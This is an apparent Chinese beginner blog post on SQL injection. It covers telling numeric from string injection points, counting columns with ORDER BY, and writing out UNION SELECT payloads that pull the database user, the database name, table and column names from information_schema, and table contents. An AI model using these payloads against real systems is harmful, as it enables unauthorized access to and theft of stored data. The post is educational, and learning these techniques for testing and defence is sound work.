zoukankan      html  css  js  c++  java
  • sql注入入门

    一、判断注入类型

    一般查询语句,字符型和数值型

    1.+-数值,如1+1,1+2

    2.后面添加‘1 and 1 = 1' 和 ’1 and 1 = 2' 进行查询,若1=1返回正确而1=2返回错误则为数值型

    3.加'#,若返回正确则为字符型

    二、查列数(有待考证)

    order by num

    num为数值

    三、确定字段位置

    select  * from auth_user where username = 'lisi' and 1 = 2 union select 1,2,3,4,5,6,7,8,9,10,11;

    and 1=2是为了避免一些只显示一行的页面过滤掉后面的联合查询的数据,所以让前面的查询条件永远为false

    union就是合并操作,完整语义就是使用union合并两个select的结果集,前者为空

    四、获取数据库信息

    database():查看当前数据库名称 
    version():查看数据库版本信息 
    user():返回当前数据库连接的用户 
    char():将ASCII码转化成字符,用于分隔每个字段的内容

    select  * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,11;

     查询所有表名

    select  * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,table_name from information_schema.tables where table_schema = 'guest';

     获取表所有的字段名

    select  * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,column_name from information_schema.columns where table_name = 'sign_guest';

    获取字段所有内容

    select  * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,realname from sign_guest;

    ---by littleyang 测试就是测试一下
  • 相关阅读:
    Javascript本质第二篇:执行上下文
    Javascript本质第一篇:核心概念
    跨线程委托执行
    .NET中STAThread和MTAThread
    用管道实现流的分支
    Async和Await异步编程的原理
    在.NET中使用管道将输出流转换为输入流
    致木兄的一封信
    完整打造一个多功能音乐播放器项目(初步设想跟酷狗类似)
    新冠疫情下各大网站的变化
  • 原文地址:https://www.cnblogs.com/littleyang/p/11573734.html
Copyright © 2011-2022 走看看